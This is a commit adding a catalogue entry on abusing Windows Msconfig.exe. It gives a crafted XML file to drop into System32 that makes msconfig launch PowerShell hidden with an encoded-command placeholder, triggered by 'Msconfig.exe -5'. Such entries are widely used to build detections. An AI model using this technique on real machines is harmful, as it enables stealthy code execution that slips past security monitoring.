Create Msconfig.md

OSBinaries/Msconfig.md

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+## Msconfig.exe
+
+* Prerequisites
+
+add a crafted .xml in System32
+```
+<?xml version="1.0" ?> 
+<MSCONFIGTOOLS> 
+<a NAME="LOLBin" PATH="%windir%\System32\WindowsPowerShell\v1.0\powershell.exe" 
+DEFAULT_OPT="-nop -sta -enc -w 1 YOURBASE64" ADV_OPT="-command calc.exe" HELP="LOLBin MSCONFIGTOOLS"/> 
+</MSCONFIGTOOLS>
+```
+
+* Functions: Execute
+
+```
+Msconfig.exe -5  
+ 
+```
+
+Acknowledgements:
+* Pierre-Alexandre Braeken - @pabraeken
+
+
+Resources:
+* https://twitter.com/pabraeken/status/991314564896690177
+
+Full path:
+```
+c:\windows\system32\msconfig.exe
+```
+
+Notes:
+
+
+
+